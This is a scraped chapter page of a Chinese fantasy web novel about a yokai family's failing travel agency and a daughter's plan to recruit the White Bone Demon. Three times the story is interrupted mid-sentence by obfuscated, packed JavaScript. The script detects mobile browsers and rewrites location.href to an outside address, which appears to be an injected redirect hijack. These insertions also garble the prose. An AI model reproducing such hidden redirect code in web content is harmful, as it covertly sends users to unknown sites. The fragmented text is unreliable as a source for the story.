她可不信。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590150|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 朱千否定道:“当然也有另外一件事情。” “你家的旅行社还开着吗?你知道的,我一直跟在我爸妈身边,帮我爸妈做事。现在我爸的旅行社又做大了,想在这里设个分店。” “那我想啊,与其平地建高楼,不如直接收购你们家的,又能帮你们还上债,一举两得。” “对吧?云弦、出阳。” 他笑眯眯的,看上去很和善,但云弦知道,他心眼子里流的都是乌漆嘛黑的脏水。 这回没等小狐狸先扑咬上去,云弦像颗子弹,咻的一声,咬上朱千的手臂。 小狐狸紧随其后,他体型更大,飞扑过去,压倒朱千,三只妖怪在地上扭打起来。 朱千幻化的人形,十三四岁,身高腿长,比云弦、小狐狸个子大出不少。 即便他势单力薄,但除了第一口不小心被云弦咬上,后边也没落下风,甚至占据上风。 他揪着两个小家伙脖颈处的毛,高高悬在空中。 两个小家伙哀哀地叫唤,身上左秃一块,右秃一块,头上秃一块,尾巴秃一块。 黄褐色、赤色的绒毛如蒲公英一般,随风飘散,一簇又一簇细腻柔软的绒毛落到草地上、花丛间。 风儿一吹,绒毛打着旋儿,飘向远处。 朱千哼笑:“这几年你们也没什么长进嘛。” 黄千玦赶过来,看到的就是这个画面。 她说不清楚当时内心是什么感受,像是黑夜里凭空迸溅的火星,砰的一声,把整个黑夜烧得如白昼一般,让人失了理智,眼里只有遮天的大火。 黄千玦成年以后,便跟在宋隐女士身边学习。 宋女士奉行丛林法则,弱肉强食是永恒不变的真理。在残酷的丛林面前,鲁莽冲动的人只会是最先死的那个。 就算是天塌了,她的继承人也必须是人群中最冷静果决的那一个。 她生性淡漠,无比认同宋女士的观点,一直以宋女士的教导严格要求自己。 但现在...... 等她回过神来,她已经在一茬一茬地拔着鸟羽毛了,朱千一侧的翅膀光秃秃的。 黄千玦有些懊悔。 但云弦、小狐狸两妖各站一边,抱着她的手臂,欢呼雀跃。 “拔!再拔!” “看你还敢不敢欺负我们!” “姐姐万岁!” 其中夹杂着朱千的痛哭哀号。 黄千玦眨了眨眼睛,心中的懊恼消去不少,甚至起了玩心。 掌心捧起大簇羽毛,她一吹,天女散花般,飘到朱千身上。 轻飘飘道:“或许还能接回去,对吧?” 朱千两眼一翻,气晕过去。 黄千玦拍了拍身上的灰尘,抱起两个小可怜蛋,问道:“还疼吗?” 小狐狸疯狂地甩着脑袋,咧着牙花子,乐滋滋的。 云弦啪唧一声,扑进她的怀里,抱住黄千玦的脖子,扭来扭去,不松手。用头顶稀疏打结的绒毛蹭着黄千玦。 “那我们现在来说说,你们是为什么打架的?” 云弦、小狐狸瞬间安静,像根木桩子,打不还口,骂不还手。 黄千玦抱着云弦、小狐狸回去的路上,碰见了黄成。 他眼神疼惜,似乎明白发生了什么事,给他们各买了一根糖葫芦和一袋糖炒栗子。 四人一起回家。 回到家,瞧见两只秃毛小妖怪,妈妈眼神一怔。 爸爸悄悄摇头,钻进厨房准备晚饭。 妈妈习以为常,揉了揉眉心。请走了在前厅里蹭吃蹭喝的妖怪,又从柜子里拿了两只药膏,没收了两妖吃剩下的糖炒栗子。 云弦、小狐狸熟练滚进妈妈怀里,伸长脖子等妈妈涂药,没心没肺的。 黄云霄眉头则乌云缭绕,嘴唇翕动。 黄云霄摸着云弦的小脑袋,道:“不用总是这样,没了旅行社,我们还是能一样快乐生活,顶多换一种营生。” 云弦甩了甩尾巴,把膏药蹭到妈妈的袖子上,哼哼唧唧不回应。 “出阳以后也可以常来,会给你准备多多的炸鸡块的。” 小狐狸鼓着腮帮子,学云弦,也不说话。 黄千玦杵在门边,紧锁眉头,像是个局外人。 云弦和出阳仍处于天真纯稚的年龄,她微微一吓,就激得两妖全盘托出。 但她反而愈加闷闷不乐了。 临睡前,云弦赖在黄千玦的屋里,怎么都不愿意回到自己屋里一个人睡觉。 黄云霄无奈,只能由她。 凌晨,丝丝冷气透过蚊窗,渗进屋里。 黄千玦有一下没一下地顺着云弦的毛发,云弦缩成一团,咬着尾尖,窝在她的怀里。 但黄千玦却睡不着了,单手托腮,蹙着眉头,眸色深深。 蓦地,她起身套上外套,往父母的卧室走去,直到走到门口,她才猛地惊醒。 万籁俱寂,卧室里传来浅浅而有规律的呼吸声。 黄千玦回到自己的房间,但她仍旧没有睡觉,坐在书桌前的转椅上,一动不动,犬牙研磨着指关节的软肉。 她忽地打开小夜灯,灯光如烛火般柔和,黄千玦打开电脑,拧开黑笔笔盖,在笔记本上,写写画画。 窗外树影晃动,带起一片深黑色,慢慢地,日头升起,深色褪去,显露它原本的浓绿色。 黄千玦这才伸了个懒腰,回到床上补觉。 她向来就是一个想到什么,就去实行的人。 4. 熬夜不睡觉,必定在搞事 八点半。 黄成早早起床,做好了早饭。但餐桌上只有他一个人。 昨晚,他和黄云霄一直聊到深夜才睡,他才知道千玦已经发现一切了,他惊讶得合不拢嘴。 徬晚回来的路上,他还挤眉弄眼,暗示云弦和出阳别乱说话。 现在想想,全身都泛起鸡皮疙瘩。 另外一件事就是关于点绿旅行社的。在他父母手里,点绿旅行社生意兴隆,但在他接手后,跟不上时代潮流,点绿旅行社一点点败落下去。 夫妻俩赔上多年的存款,又向妖族银行接了一笔贷款,但这些都只是杯水车薪。 他们以为他们可以瞒得很好,但小镇的流言蜚语总是见风长,不知什么时候就钻到孩子的耳朵里。 难道要让他们的孩子继续面对这些流言蜚语? 不可能的! 他们决定及时止损,关于这一点,他们已经讨论思考了很久。 但点绿旅行社是绝对不可能卖的! 早些年,家里还有余钱,他们在人类世界买了一栋房子,正好卖了还掉欠款。 黄成的厨艺不错,尤其是他那一手酱香鸡块,吃过的没有说不好的。夫妻俩决定装修点绿旅行社,开一家餐馆,多给姐妹俩攒些钱。 这么一聊,时间就过了零点。 黄成熬了夜,眼下乌黑,两眼迷瞪瞪的,但还记得自己要给一家人做早饭,硬是从床上爬了起来。 但他只能自己一个人享用了。 黄云霄继续补觉,云弦周末不上课,一贯喜欢赖床,千玦…… 嗯?千玦呢?她第一天来还起得蛮早的。但毕竟还是孩子嘛,多睡一会儿,还能长身体。 黄成打个哈欠,起身端起碟子和碗筷,打算把米粥、包子放回锅里保温,就看见黄千玦精神抖擞地进到厨房。 “爸爸,早上好。”黄千玦笑着打了个招呼,容光焕发,谁能想到她统共就睡了不到一个小时呢? 她拉开椅子坐下,接过爸爸递来的勺子和筷子,但没立刻开吃,而是问道:“妈妈还没起床吗?” 黄成摇摇头:“还在睡呢。” 黄千玦点头:“爸爸等会儿有空吗?我想和你、和妈妈,聊一聊。” 黄成猛地一抖索,女儿分明笑地温软,如春风和煦,他却想起三十年前,他去人类世界给人类老板打工,老板每次笑眯眯找他聊天,要求加夜班都是这种熟悉的陈述语气。 他喉结滚动,咽了口唾沫,还是点了点头。 “……好” 黄千玦心满意足地吃起早饭。 九点半。 黄云霄起床吃完早饭,一脸迷惑地被黄成推进了会议室。 自从点绿旅行社衰败一来,除了每周一的卫生打扫,他们其实都不怎么进来。 黄千玦的白衬衫袖口卷到肘部,长发束成利落的马尾,眉眼间自带冷厉、干练与从容。 不同于昨日的平静疏离,也不同于第一天见到的黄千玦,浅淡笑容掩饰下的咄咄逼人、冷诮挖苦。 她神情专注,眉峰微微隆起,俯身浏览电脑屏幕。手指修长,指甲却如白玉浑圆,抵在平摊的笔记本上。 几只水笔整整齐齐地摆放在一起,笔尖朝前。 夫妻俩不自觉地放轻脚步,放缓呼吸频率。 余光瞥见来人,黄千玦直起身子,唇角抿出一个和善的笑容,指尖并起,往前一伸,“来了,做吧。” 她的左前方有两个椅子,桌前摆着两份文件。 夫妻俩紧绷着身子,同手同脚地坐到自己的位子上,就像他们第一次上妖族小学一样,双手乖巧地放在膝盖上。 “那我们就开始吧。” 夫妻二妖拘谨地点头。 黄千玦好心提醒:“可以打开桌上的文件。” 夫妻俩局促点头,听话地打开文件。 “我想申请担任旅行社的职业代理人,翻开第一页,那是我的简历。”她单刀直入。 “它包含了我上大学以来参与的集团核心项目,尤其是我作为负责人主导的几项重要工作。为了你们方便评估,我将所有成果转化为直观的量化数据。” “翻到第三页,这是我对妖族旅行社这一行业的调研成果。” “根据妖族头部旅行社和部分小众旅行社公布的数据,我整理归纳并分析了各家旅行社的发展情况。” “这些样本目前数目尚少,但具备一定的典型性和多样性,它们在各自特色文旅项目和目标客户留存策略上存在明显差异。这是一个关键突破点。” 她用来搜集资料的妖族网络、网站等等自然是通过两个小家伙的嘴里得知的。 两个小家伙就像是扎满洞的水球,不等人揉搓挤压,自己就漏得一干二净。 “这些都需要,”黄千玦微微顿了顿,看向自己的爸爸妈妈。 她每说到一个点,夫妻俩就下意识点点头,跟之前底下的员工一样,无条件服从,至于腹诽抱怨,憋着。 两个人称代词“我”和“你们”将彼此冷漠生疏地隔开。 她心底泛起异样的感觉。 不应当是这样子的。 她轻轻地问自己。 如果是云弦,她会怎么做? 黄千玦垂下眼睫,默默地吞掉“你们”这个词眼,软下语调,神情略显别扭:“需要,需要爸爸妈妈的帮助。” “爸爸妈妈经营这么多年旅行社,又亲自带过许多旅游项目,在文旅方面的经验和想法肯定会比我成熟很多,也会更全面。” “我们或许可以好好商讨一番。” 她本想轻描淡写地揭过自己实际从未负责或者实操过文旅项目,黄氏企业并未涉及过这个行业,她知之甚少。 一夜的时间只堪堪让她收集样本、分析数据、寻找项目的创新点,甚至文旅都不是她的强项,也不是今天的重点。 但她相信自己的能力,自信自己能够补上这一短板。黄千玦甚至厌恶暴露自己的弱点,她宁愿像一个伪人一样,带着假笑面具,永远优雅得体,完美无缺。 她成长的环境群狼环伺,也不容许她自揭短处。 养父一家,竞争对手,集团股东...... 每一双眼睛都在黑暗里闪烁着贪婪无厌的光,蛰伏时机,等她跌倒,撕咬她的肉,嚼碎她的骨头,舔着她的血登上王座。 蝮蛇的血肉,必然只有自己也化身为蝮蛇,才能撕咬扯下。 讽刺的是,在这座宋女士亲手为她打造的斗兽场里,唯一一个不会对她露出獠牙的,居然是宋女士自己。 命运真是脾性最恶劣的游戏玩家。 云弦天真纯稚,毫不掩饰地展现她的满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590151|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腔热情和亲昵仰慕。 这是她所向往的,但她却永远不可能成为这种人。 黄千玦无意识地攥紧拳头,在掌心留下深深的月牙弧形的印子。 夫妻俩眨了眨眼睛,之前他俩一直晕乎乎地点头,像是一对乖巧却愚钝的学生,听不懂但却极乐意给老师捧场。 黄成晃了晃头,道:“当然……” 黄云霄桌面下狠命掐着黄成的大腿软肉。 两人当了夫妻那么多年,他的心思,她一清二楚。当然是答应黄千玦。 可她也是当母亲的,千玦摆明了态度,代理人她是当定了的,她是通知,而不是商量。 他们夫妻当然不会有异议,如果能救活点绿旅行社,趁着卖了房子还了欠款,还有些余钱,就再折腾一把。 顶多赔光了,他们夫妻俩再去人类世界卖身挣钱,十八年后又是两条妖族好汉。 但当代理人不是重点,要来和他们一起讨论才是重头。 千玦聪明强势,能力强,自尊心也强,她真心诚意地邀请他们,自然不喜欢被敷衍过去。 黄云霄一边死命掐着黄成的软肉,一边用眼神威胁他住嘴。 黄成眼角飙着泪花儿,憋着委屈,咽下痛叫,挤出一个笑容:“都听你妈妈的。” 黄云霄满意地点点头,松开手指,理了理鬓角稍乱的发丝,道:“那我们就一起商讨吧,爸爸妈妈还有些地方不太理解,千玦能讲一下吗?” 黄千玦回过神,笑道:“妈妈,哪里?” 三妖一直讨论到十点半,才意犹未尽地结束。 中途小狐狸来了,黄成便拜托他看店,要是那群蹭吃蹭喝的妖怪来了,不用告诉他们,若是其他客人来了,再来叫他们。 但直到结束,也没客人来。 三妖走出会议室,直走左拐,走到前厅。 前台桌上,摆着一个平板,播着儿童动画片,平板后面立着一对狐狸耳朵,随着音乐节奏一抖一抖的。 若是往常周末,那平板后面该立着两对耳朵,脑袋凑到一起嘀嘀咕咕。 黄云霄登时竖着眉头,噔噔上前,嗓音绷得紧紧的:“出阳,云弦还没起来吗?都快吃中饭了。” 那对耳朵猛地僵住,然后缓缓地、一点点地往下缩,试图缩到平板后面去。 黄千玦赶忙上前,给云弦找补:“云弦昨天刚受伤,今天正好多休息一会儿。” 黄成点头如捣蒜:“对呀对呀。” 黄云霄眼神凌厉,一一扫过父女俩,手指指向小狐狸,“那出阳怎么在这儿?” 小狐狸吓得立时捂着头顶的秃毛,眼珠子无辜地滴溜儿转。 父女俩哑口无言。 只剩动画片里的小主角欢快地喊道:“救援活动来咯!” 黄成尴尬地笑笑:“你们中饭......” 黄云霄不等说完,大步流星地走向黄千玦的卧室。 三妖面面相觑。 “我跟着妈妈。”黄千玦快步跟在妈妈后边。 “我去做饭。”黄成摸摸鼻子。 小狐狸左盯盯,右瞧瞧,前厅只剩他一个妖怪,又看了一眼动画片,肃着一张狐狸脸,学着二妖的语气,对着空气宣布:“我看店。” 然后迅速在平板上一划拉,调大了音量。 云弦危矣。 5. 白骨夫人 黄千玦推开房门。 “太阳都照到你屁股上了,你怎么还能睡得住?” “哎呀!妈妈不要打我屁股,我已经长大了。” “再大,也还是妈妈的小孩。快点穿衣服。” 黄云霄坐在沙发上,将云弦牢牢夹在大腿中间,手上拿着云弦的浅红色小马甲。 云弦左躲右闪,哼唧唧地撒娇:“妈妈,我不想穿这件嘛?” 瞥见黄千玦倚在门边,云弦眼睛一亮,“姐姐,你帮我跟妈妈求求情,我想穿黄色那件。” 黄千玦当然不会拒绝,且十分自然地拉长音调:“妈妈......” 黄云霄眉毛一挑,看着云弦摇着头,指尖轻轻点了点她的额头,“等你长大了,就知道害臊了!” 云弦犟着脾气,硬气道:“才不会!” “千玦去拿一下吧,就在云弦的衣柜里,黄粉色的,一打开就能看见。” 黄云霄笃定道:“不用怀疑,就是那件。” 黄千玦诧异地出去,一脸沉默地回来,嘴角抽搐着,像是烫手一般飞快递给妈妈。 黄云霄则一脸无奈的表情,看吧,我就说了。 云弦乐滋滋地抱着妈妈的手臂。 在被妈妈夹住的情况下,云弦努力扭过头,眼睛亮晶晶的,嗓音脆生生的:“谢谢姐姐。” 上身亮黄色绸缎,缀满碎钻,下身嫩粉色纱裙,脖颈处斜斜系着明黄细长丝带,绣着重重叠叠的彩色薄纱。 色彩搭配鲜亮夸张。 一穿好,她就憋足了力气,挣脱妈妈,三百六十度旋转跳到地上,美滋滋地又转了几圈,眨了眨眼睛,乌溜溜的眼睛满怀期待地望向黄千玦,“姐姐,好看吗?” 黄云霄笑吟吟的,跟着打趣道:“嗯?姐姐,好看吗?” 黄千玦:...... 最终沉重地点点头。 她的卧室采光极好,明亮的光线射到碎钻、绸缎上,绽放出斑驳眩目光芒。 恍惚间,她似乎看见自己长期稳定位于正常水平的审美观碎成了玻璃渣渣。 云弦见妈妈、姐姐很欣赏她这套裙子,蹦蹦跳跳地下楼去,要爸爸、出阳也欣赏一番。 黄云霄笑着摇摇头,跟着出去了。 黄千玦则拧着眉头,落后一步,似乎还是很不可置信。 下了楼,前厅只有小狐狸。 那么云弦必然在厨房里,围着黄成,像只花蝴蝶一样转。 让他头疼去吧! 黄千玦在前厅找了个摆在稍偏地方的沙发,双手抱臂,往后一靠,疲倦地闭上眼睛。睫毛纤长,像一把密密的蒲扇,垂下一片阴影。 问题一一解决,心中沉甸甸的压力也消失得无影无踪,又被云弦这么一闹,绷紧的神经彻底松弛开来。 疲惫像一滴墨水溶入水中一样,迅速扩散开来。 她沉沉睡去。 中饭做好,黄成来叫她,几次呼唤她的名字也没叫醒。拍了拍肩膀,也没反应,但呼吸平稳,神态安详。 黄成就没继续叫醒她。 想想也能知道,短时间内给出一份内容相当完整、框架明晰的文件,背后又付出了多大的努力呢? 他食指竖在嘴唇上,比了个噤声的手势。 夫妻俩同云弦、小狐狸一起,安安静静地去厨房吃中饭了。 …… 黄千玦的睫毛微微发颤,慢慢悠悠地掀开,眼睛迷茫无焦距地盯着前方。 好一会儿,才回过神来,喊道:“爸爸?” “在呢在呢。”黄成忙不迭地应道。 “现在几点了,我睡过头了吗?我们现在应该去工商局了吧?” 窗外的阳光泛起类似于发黄轻型纸的劣质黄光。 他们之前讨论时,黄千玦主动提出,第一次尝试一个新领域,她想亲力亲为,熟悉和掌握全部的流程。 正好黄成今天要去妖怪市场监管局提交材料,他上次举报了某一家旅行社的不正当竞争。 妖怪市场监管局实行轮班制,周末也上班。 黄千玦打算和他一起去。 “快四点了。以后机会多着呢!但身体只有一次,先好好休息。” “饿了吗,千玦?饭还给你热着呢。吃饭不?” 黄千玦慢慢地点头。 但没起身,懒洋洋地任由自己陷入柔软舒服的沙发里。 屋外传来雀跃的嘻嘻闹闹。黄云霄带着云弦和小狐狸在院里玩耍,消耗小孩子旺盛充沛的精力。 良久,她起身,在爸爸的催促声里,慢悠悠地踅进厨房。 忽地,她后退,在前台边停住,问道:“爸爸,前台的文件是什么?” 她拿起一叠崭新的文件,随意翻看,这是待就业人员名单,附着他们的简历。 黄成在厨房里大声喊道:“之前人社局就联系我,这个月的就业名单出来了,什么时候来拿?要是家里经营得好,会从里面招几个。” “但近几年都不太行,这些文件都堆着积灰。” 黄千玦漫不经心地扫过一个个陌生的名字,忽地,她目光锁定文件上的一个名字。 “尸魔。” 或者说,她的另一个更广为人知的名字,白骨夫人。 西游神话最著名的妖怪之一。 三打白骨精的故事,无论是妖怪,还是人类,都耳熟能详。 但一个被孙悟空一棒打死的妖怪,怎么会出现在现代妖怪就业名单里? 不过这不重要。 黄千玦的眼睛发亮。 “白骨夫人。” “如果让她参与他们的文化旅游项目……” 她猛地抱起文件,冲回会议室,黄成的话也不听了,饭也不打算吃了。 坐在转椅上,绵软慵懒一扫而空,精神奕奕地对着电脑发亮的屏幕,五指在键盘上飞舞,文件翻飞。 她和爸爸妈妈上午在讨论旅行社文旅项目内容时,便头疼他们到底该做什么项目的。 目前其他的旅行社几乎已经把能做的内容都做了,比如说传统的“泰山深度游”,新式的“沉浸式科幻虚拟游览”等等。 他们现在进场,跟骑着老头乐,硬要挤入F1赛道,和专业赛车比速度激情有什么区别。 黄千玦陪云弦、小狐狸外出发传单,见识过妖怪们对“大人”的狂热崇拜。 她提出,或许他们能够以大人为噱头营销,强行冲开一条道路。 但黄成想都不想,立刻拒绝。 不是因为崇拜大人到了不愿亵渎他的地步,事实上,只要不作恶,不危及妖怪或人类的生命,大人都不会管的。 而是他担心黄千玦。 毫无疑问,这能让他们快速收获大量的客户,获得超大流量,但若是做不好,黄千玦首当其冲,沦为众人攻讦的对象。 他不可能接受。他宁愿一步步来,最多开始阶段,他多辛苦些,多干些。 黄云霄站在黄成一边,举双手双脚赞成。就算只有一丝一毫的风险,他们也不接受。 二比一,黄千玦输了。 但她非但没有挫败感,反倒有一种果然如此的愉悦。 所以,如果他们想要开拓市场,推出的旅游项目必须要有足够独特的创新内容,作为他们独一无二的卖点。 否则,凭什么吸引客人来消费! 但现在,她有一个新想法。 无论是人类,还是妖怪,都逃不过对未知新奇事物的好奇。人类吃惯了美食以后,反倒会追求猎奇食物的刺激;妖怪见惯了山川湖泊,反而会希图体验人类文化。 人类文化深度旅游,在妖怪旅游市场上经久不衰,目前市面上的妖怪旅行社都能提供。 但是“陌生的”妖怪文化与“熟悉的”人类文化相结合的旅游呢? 恐怕没有。 这就是他们的卖点。 黄成热好饭,摆上餐桌,但一直没等到黄千玦,他走到前厅。 前厅没人。 但前台桌上,他带回来的文件倒是不翼而飞了。 会议室。 电脑屏幕泛着白色冷光,停留在介绍白骨夫人的网页。 黄千玦在笔记本上写写画画,不时停下来思忖,水笔盖子抵在下巴上,印出浅淡的半圆形痕迹。 哒哒。 木质桌板响起两声轻叩。 黄千玦倏地抬头,她太过于全神贯注了,居然没有注意到有人进来。 黄成站在她面前,端着热气腾腾的饭菜,眉头拧起,含着一丝不容拒绝的坚持。 “身体是本钱,先吃饭吧。” 她嘴唇动了动,最终咽下询问,敏锐的本能暗示她,再不吃饭,可就不是这般好脾气劝导了。 她顺从地点点头,合上笔记本子,连同电脑,推到左上角。这才接过饭菜开吃。 黄千玦夹了块糖醋肉嚼了两口,囫囵咽下,权当自己吃过了,便迫不及待问道:“爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590152|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸,你了解白骨夫人吗?她也在名单上。” 黄成有些无奈地指了指还满满当当的饭菜。 黄千玦夹起筷子,在菜里挑挑拣拣好一会儿,才夹起一块肉,混着一大团白米饭,塞进嘴巴里。 她不挑食,甚至她很好养活,什么菜都吃,但在工作时候逼她吃饭,这跟逼她嚼蜡烛填肚子没什么两样。 不到十分钟,黄千玦就干净利落地把饭菜一股脑儿塞进胃里,擦了擦嘴唇,问道:“爸爸,我之前的问题?” 黄成边收拾碗筷,边沉吟道:“白骨夫人?怎么问起她啦?” “她可是妖界顶流,很多网红都想找她联名带货,但都没成!几年前她从白虎岭跑了,跑到人类世界去了。 “不知道人类那边给她开出来什么条件?”黄成现在也仍旧好奇,人类那边到底是怎么说动白骨夫人这种级别的大妖怪的。 “但之后就没什么消息了。大约是一年前吧,我从名单上看见她的名字了。” 黄千玦惑道:“这种待就业名单有什么考量标准吗?” 这种大妖怪不应该找不到工作吧? “他们根据失业名单整理的,但有一小部分是妖怪自己申请。” “她这种级别的大妖怪,早就不用像我们一样辛苦讨生活了。所以名字压在最底下。” 黄千玦睫毛颤动,在白骨夫人的名字下面,还有好几个她不知道的名字。 “千玦你想招她?毕竟是千年大妖怪,有名气,却将近一年都没找到工作,估计很难缠。” 黄成想起自己听见的大妖怪们的八卦,不由咋舌。 黄千玦点头:“对。有难度,代表收益也会很可观。完全值得搏一搏。” “重走孙大圣三打白骨精之路?” 闻言,黄成眼睛一亮,猛地一拍大腿,“很不错啊!” 但转念一想,对方会乐意吗?这可算得上把自己的丑事当众揭开,还是自己打自己的脸。 况且这种级别的大妖怪,肯定有更大的企业或者单位想找她合作,她会看得上他们吗? 他雀跃的心又坠回地上。 黄千玦将黄成的表情看在眼底,唇角弯起自信的笑容,安抚道:“爸爸,相信我。我敢这么说,那么肯定就有我们可以博弈的空间。” 如果说到具体文旅项目的策划,她无法狡辩,她确实知之甚少,但说起谈判博弈,那她可是其中的好手。 黄成没有否定她,但也没有赞成她,端着空着的碗、盘子,愁着张脸,身体轻飘飘的,飘出会议室。 “对了,爸爸,把妖怪人社局的联系方式给我。” “......好。” 两天后,黄千玦卧室。 云弦、小狐狸窝在她身边,一脸紧张地盯着黄千玦。 顶着灼热的视线,黄千玦从容地拿起手机,打电话。 黄千玦:“您好,白骨夫人,我是点绿旅行社的代理人。” “我从妖族人社局得到了您的联系方式......” 白骨夫人直接打断,冷声高傲道:“我很贵,你们付不起!” 黄千玦笑吟吟道:“巧了,我们没打算付钱。” 黄云弦和小狐狸:?!! 咔嚓! 黄千玦猜,那是对方上颌牙和下颌牙狠狠磕上的声音。 白骨夫人:“……” “哪来的小姑娘,你很嚣张啊!” “承蒙夸奖。”黄千玦厚着脸皮应下。 白骨夫人气极,刚要咬牙怒斥,忽而哼笑道:“你以为这种招数就能吸引我的注意吗?你还是太年轻了!” 黄千玦再次否认:“您误解我了,这种肤浅的手段既显得我们诚心不够,又会激怒您,我们是绝对不会使用在您的身上的。” 白骨夫人:……你这么说话,还想聊下去吗? 黄千玦再次弯唇笑道:“我们当然希望能和您继续探讨合作的空间。” 白骨夫人:……拒绝读心术! 咔。 一根指骨被她掰下。 嶙峋指尖捻起指骨,频率极快地敲击掌骨,渐渐地,声音平缓下来。空幽幽的洞府里响起有规律的敲击声。 白骨夫人烦躁时,有规律的声音能够缓和她的焦虑和愤怒。 忽地,声音顿住。 她轻笑道:“行吧,你成功引起了我的注意!” “继续说吧。” 黄千玦唇角微勾。 6. 学习妖术+实地考察 “什么?!你还想让我再被打?” “你嫌我被打的还不够出名吗!我看你是不知天高地厚想找死!” 白骨夫人厉声咆哮。 骷髅骨架咯吱咯吱地疯狂颤动,似乎随时散架,噼里啪啦散落一地。 黄千玦神色不变,依旧镇定自若。 她软下声调,循循善诱:“您可以放心,我们推出的旅游项目重点突出妖怪们的沉浸式体验,而不是影视重现。” “现在的一切都有您来决定,我们会给到您最大的自主性,您可以是输家,也可以是赢家。” 毕竟孙大圣他们也请不来。 黄千玦有些遗憾地叹气,她还是喜欢很看热闹的。 白骨夫人冷静下来,一根一根地掰断指骨,即将一雪前耻的喜悦后知后觉地爬上她心尖。 嘴上却强硬道:“我肯定是赢家。” 黄千玦笑吟吟道:“您肯定是的。” 白骨夫人:“……换一个语气。”这像在嘲讽她。 黄千玦从善如流:“好的。” “那我们什么时候约个时间,面对面详细讨论一下。” “下周三吧。” 白骨夫人右手捏着左手的指骨,闪烁着墨绿火焰的眼眶细细欣赏,她的骨头依旧保养得像银子般夺目迷人。 很好,到时一定能把他们迷死。 “对了,工资福利什么的,你懂的。”她含糊其辞地暗示。 她又不是真的无私磊落到无偿奉献青春。 “我们会尽可能开到您满意的价格。” “很好,我到时会派人来联系你的。” 那老小子也该派上些用场了。 挂断电话。 黄千玦眉梢微微一挑,表情略有些吃惊。 但她并不奇怪白骨夫人答应她,而是好奇白骨夫人竟意外得爽快好说话。 白骨夫人冷酷狡猾,喜怒无常。 这是大多数妖怪对她的评价。 难缠,破事多,要求多,找工作不谈工资福利,非要谈理想未来 这是妖怪人社局给出的一个总结性的、私底下的评价。 实话实说,两种评价南辕北辙,似乎怎么都不应该出现在同一个妖怪身上。 但爸爸之前提过,白骨夫人几年前搬到人类世界去了,此后消息极少。 大多数妖怪对白骨夫人的认知存在一定的滞后性。 黄千玦整合了人社局透漏的零散信息。 白骨夫人当年受人类世界某一旅游景点负责人邀请前往人类世界,充当旅游金字招牌。 但知道妖怪存在的人类毕竟是少数。 大多数游客只觉得这旅游景点鬼气森森的,骇人得紧,差评! 拿白骨精当噱头,连个骨头都没看见,差评! 虚假宣传,物价昂贵,差评! 白骨夫人猛翻白眼:……有没有一种可能,你们见着了,却吓晕了。叶公好龙都没你们的嘴巴硬。 人晕倒了,还得她负责打电话,叫旅游景点和妖怪管理局的人来处理后续问题。 她洗心革面,重新做妖,兢兢业业一心扑到工作上,结果居然上了妖怪管理局危害人妖友好关系的红名单了! 真是没天理了! 然后,白骨夫人就被请去做冷板凳了,一坐就是多年。 景点负责人也不敢触她的霉头,由她在山头里的洞府住着,多年来相安无事。 直到一年前,白骨夫人主动找上门来,要找新工作。 负责人欢天喜地地替她奔走忙活,但一个都没成,反倒她的名声坏到谷底了。 但负责人可没胆子故意抹黑造谣白骨夫人的名声,而是白骨夫人一到和对方聊工作条件的时候,非高价聘用不干。 等到对方开出天价工资后,白骨夫人就鸡毛蒜皮的事问个底朝天,工资福利、工作内容却一概不问,反客为主,大谈特谈理想信仰,鄙弃蝇头小利。 诸如你们要发展,看的就是宇宙的无垠星辰,而不是脚底下的污浊铜臭等等等。 而她,白骨夫人,则是坐拥所有的财富,毕竟她就是这么一个低俗愚顽的人。 负责人和人社局的工作人员一声不吭,当年白骨夫人涉世未深,哄白骨夫人聊理想聊未来都有他们一份。 对于黑化发疯的白骨夫人,他们也负有一部分责任。 了解到这部分消息,黄千玦心里很快就有了方案。 不管白骨夫人想要重新就业的动机到底是什么,但最起码她是想摆脱她目前的处境的。 而她黄千玦可以提供这个契机。 但油嘴滑舌、漫天许诺,这不仅行不通,而且会收获白骨夫人犀利狠辣的语言羞辱和攻击。 真诚才是必杀技。但光有真诚也不够,对话的艺术也很重要。 为此,她准备了详细的资料,预设了十几种对方的可能反应以及相对应的谈话模式。 不卑不亢的、诙谐幽默的、直奔主题的…… 总有一款是她喜欢的。 而直接对上白骨夫人后,她发现之前准备的模式都太过于正经了,白骨夫人需要的是那种暗搓搓怼她,明面上给足她面子、捧着她的模式。 其实这种自恋中二的性子还蛮好玩的。 黄千玦食指、中指夹住笔杆,转了几个花样。 面上笑容不减。 停下转笔,她望向云弦、小狐狸。 他们眼睛仍旧瞪得像铜铃,嘴巴大得可以塞下一个灯泡。 黄千玦歪着头,笑着问道:“怎么啦?还有什么问题不懂吗?” 小狐狸先回过神,摇摇头,结结巴巴道:“千玦姐…姐,你…好……厉害!” 